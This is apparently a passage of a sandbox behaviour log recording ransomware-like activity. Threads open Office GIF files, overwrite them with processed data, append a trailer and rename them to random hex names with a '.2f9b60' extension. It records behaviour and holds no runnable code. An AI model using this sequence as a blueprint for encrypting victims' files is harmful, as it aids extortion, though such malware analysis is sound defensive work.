_Format="%c%c" | out: _Dest="70") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="c1") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="47") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="60") returned 2 [0236.812] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.812] RtlInitAnsiString (in: DestinationString=0x3674fc08, SourceString="fccb2f4fde4acc9d06de6a2a70c1b847ef1b1a1b2efa601b" | out: DestinationString="fccb2f4fde4acc9d06de6a2a70c1b847ef1b1a1b2efa601b") [0236.812] RtlAnsiStringToUnicodeString (in: DestinationString=0x3674fbd8, SourceString="fccb2f4fde4acc9d06de6a2a70c1b847ef1b1a1b2efa601b", AllocateDestinationString=1 | out: DestinationString="fccb2f4fde4acc9d06de6a2a70c1b847ef1b1a1b2efa601b") returned 0x0 [0236.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fb40 [0236.813] wcscat (in: _Dest=0x431cbc60, _Source="fccb2f4fde4a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\fccb2f4fde4a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\fccb2f4fde4a" [0236.813] wcscat (in: _Dest=0x431cbc60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\fccb2f4fde4a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\fccb2f4fde4a.2f9b60" [0236.813] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\fccb2f4fde4a.2f9b60", NtPathName=0x3674fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\fccb2f4fde4a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3fe0 Thread: id = 3888 os_tid = 0x22c8 [0229.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif")) returned 0x20 [0230.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF", dwFileAttributes=0x20) returned 1 [0231.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3374 [0232.156] GetFileSizeEx (in: hFile=0x3374, lpFileSize=0x3783fa20 | out: lpFileSize=0x3783fa20*=366) returned 1 [0232.156] SetFilePointerEx (in: hFile=0x3374, liDistanceToMove=0x16a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.156] ReadFile (in: hFile=0x3374, lpBuffer=0x3783f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3783f9e8, lpOverlapped=0x0 | out: lpBuffer=0x3783f9a0*, lpNumberOfBytesRead=0x3783f9e8*=0x4, lpOverlapped=0x0) returned 1 [0232.157] SetFilePointerEx (in: hFile=0x3374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0232.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e00 [0232.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202670e0 [0232.158] NtQuerySystemTime (in: CurrentTime=0x3783f8e0 | out: CurrentTime=0x3783f8e0*=132462178361446000) returned 0x0 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x68098a4b [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x75ea50ec [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x1a944b07 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x6a3884e1 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x6910c094 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x39f946d9 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x4aa7f7f0 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x15bd8bec [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x2cbc1676 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x48286046 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x1c9ab334 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x53b13509 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x23aef91b [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0xbd8e18f [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x6d293acd [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x16d253d0 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x427747f6 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x66a928ef [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0xa131ce1 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x1626ed5c [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x2be55d46 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x64c3f89a [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x1edbd6de [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x7135da5b [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x66590764 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x304d1843 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x282e7084 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x2b665796 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x1b2d3438 [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x15e4c29a [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x286c7f5c [0232.158] RtlRandomEx (in: Seed=0x3783f8d0 | out: Seed=0x3783f8d0) returned 0x1e0c71c5 [0232.165] ReadFile (in: hFile=0x3374, lpBuffer=0x43015d20, nNumberOfBytesToRead=0x16e, lpNumberOfBytesRead=0x3783f8d0, lpOverlapped=0x0 | out: lpBuffer=0x43015d20*, lpNumberOfBytesRead=0x3783f8d0*=0x16e, lpOverlapped=0x0) returned 1 [0232.165] SetFilePointerEx (in: hFile=0x3374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.165] WriteFile (in: hFile=0x3374, lpBuffer=0x43006ce0*, nNumberOfBytesToWrite=0x16e, lpNumberOfBytesWritten=0x3783f8d4, lpOverlapped=0x0 | out: lpBuffer=0x43006ce0*, lpNumberOfBytesWritten=0x3783f8d4*=0x16e, lpOverlapped=0x0) returned 1 [0235.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6e0 [0235.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6d0 [0235.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6d0) returned 1 [0235.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43006ce0) returned 1 [0235.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43015d20) returned 1 [0235.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e10) returned 1 [0235.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0235.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205b6d0 [0235.548] SetFilePointerEx (in: hFile=0x3374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.548] WriteFile (in: hFile=0x3374, lpBuffer=0x42c14750*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3783f9f0, lpOverlapped=0x0 | out: lpBuffer=0x42c14750*, lpNumberOfBytesWritten=0x3783f9f0*=0x10a, lpOverlapped=0x0) returned 1 [0236.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0236.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0236.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0236.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0236.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d50) returned 1 [0236.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.829] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="05") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="38") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="79") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="31") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="a9") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="27") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="65") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="46") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="36") returned 2 [0236.829] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="72") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="44") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="90") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="b4") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="93") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="65") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="66") returned 2 [0236.830] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="92") returned 2 [0236.830] RtlInitAnsiString (in: DestinationString=0x3783fa68, SourceString="05f30de3387931a9a527658c463672c74490b4c893656692" | out: DestinationString="05f30de3387931a9a527658c463672c74490b4c893656692") [0236.830] RtlAnsiStringToUnicodeString (in: DestinationString=0x3783fa38, SourceString="05f30de3387931a9a527658c463672c74490b4c893656692", AllocateDestinationString=1 | out: DestinationString="05f30de3387931a9a527658c463672c74490b4c893656692") returned 0x0 [0236.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fc20 [0236.831] wcscat (in: _Dest=0x431cbda0, _Source="05f30de33879" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\05f30de33879") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\05f30de33879" [0236.831] wcscat (in: _Dest=0x431cbda0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\05f30de33879.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\05f30de33879.2f9b60" [0236.831] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\05f30de33879.2f9b60", NtPathName=0x3783fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\05f30de33879.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e4160 Thread: id = 3889 os_tid = 0x22f4 [0229.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif")) returned 0x20 [0230.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF", dwFileAttributes=0x20) returned 1 [0231.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3378 [0232.175] GetFileSizeEx (in: hFile=0x3378, lpFileSize=0x3794fc60 | out: lpFileSize=0x3794fc60*=423) returned 1 [0232.175] SetFilePointerEx (in: hFile=0x3378, liDistanceToMove=0x1a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.175] ReadFile (in: hFile=0x3378, lpBuffer=0x3794fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3794fc28, lpOverlapped=0x0 | out: lpBuffer=0x3794fbe0*, lpNumberOfBytesRead=0x3794fc28*=0x4, lpOverlapped=0x0) returned 1 [0232.176] SetFilePointerEx (in: hFile=0x3378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652e0 [0232.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e40 [0232.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0232.177] NtQuerySystemTime (in: CurrentTime=0x3794fb20 | out: CurrentTime=0x3794fb20*=132462178361758000) returned 0x0 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x35311a87 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x5cb922d0 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x5a501426 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x33cad214 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x7ad94529 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x1e0c71c5 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x63e1d11d [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x461dac2 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x2192b942 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x7a12c542 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x4ac6de2c [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x1b7dd734 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x5bbd3a54 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x35864f1b [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x66a928ef [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0xfa3d568 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x7fc1acb8 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x66077959 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x2c130bef [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x11e3429f [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x6aae210e [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x18c07bfd [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x6d5724c3 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x311e9e1f [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x5bf7f5f8 [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x3a4dcf5c [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x35bb4cca [0232.177] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x2ce995e [0232.178] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x5319dd4a [0232.178] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x304d1843 [0232.178] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0x5e7a12f2 [0232.178] RtlRandomEx (in: Seed=0x3794fb10 | out: Seed=0x3794fb10) returned 0xcb1e5cf [0232.184] ReadFile (in: hFile=0x3378, lpBuffer=0x4300a8f0, nNumberOfBytesToRead=0x1a7, lpNumberOfBytesRead=0x3794fb10, lpOverlapped=0x0 | out: lpBuffer=0x4300a8f0*, lpNumberOfBytesRead=0x3794fb10*=0x1a7, lpOverlapped=0x0) returned 1 [0232.184] SetFilePointerEx (in: hFile=0x3378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.184] WriteFile (in: hFile=0x3378, lpBuffer=0x41f62d00*, nNumberOfBytesToWrite=0x1a7, lpNumberOfBytesWritten=0x3794fb14, lpOverlapped=0x0 | out: lpBuffer=0x41f62d00*, lpNumberOfBytesWritten=0x3794fb14*=0x1a7, lpOverlapped=0x0) returned 1 [0235.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0235.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0235.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a740) returned 1 [0235.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f62d00) returned 1 [0235.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4300a8f0) returned 1 [0235.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0235.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0235.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a740 [0235.543] SetFilePointerEx (in: hFile=0x3378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.543] WriteFile (in: hFile=0x3378, lpBuffer=0x42c15dd0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3794fc30, lpOverlapped=0x0 | out: lpBuffer=0x42c15dd0*, lpNumberOfBytesWritten=0x3794fc30*=0x10a, lpOverlapped=0x0) returned 1 [0236.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c50 [0236.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c50) returned 1 [0236.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c50 [0236.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0236.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0236.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.820] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.820] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.820] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="2c") returned 2 [0236.820] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="53") returned 2 [0236.820] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="47") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="ca") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="43") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="3e") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="36") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="d8") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="8e") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="56") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="97") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="ea") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="66") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="06") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="23") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.821] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="1e") returned 2 [0236.821] RtlInitAnsiString (in: DestinationString=0x3794fca8, SourceString="a76c2c5347ca433e36a71cd88e5697edd9ea66064c23a41e" | out: DestinationString="a76c2c5347ca433e36a71cd88e5697edd9ea66064c23a41e") [0236.821] RtlAnsiStringToUnicodeString (in: DestinationString=0x3794fc78, SourceString="a76c2c5347ca433e36a71cd88e5697edd9ea66064c23a41e", AllocateDestinationString=1 | out: DestinationString="a76c2c5347ca433e36a71cd88e5697edd9ea66064c23a41e") returned 0x0 [0236.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fbb0 [0236.822] wcscat (in: _Dest=0x431cbd00, _Source="a76c2c5347ca" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a76c2c5347ca") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a76c2c5347ca" [0236.822] wcscat (in: _Dest=0x431cbd00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a76c2c5347ca.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a76c2c5347ca.2f9b60" [0236.822] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a76c2c5347ca.2f9b60", NtPathName=0x3794fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\a76c2c5347ca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 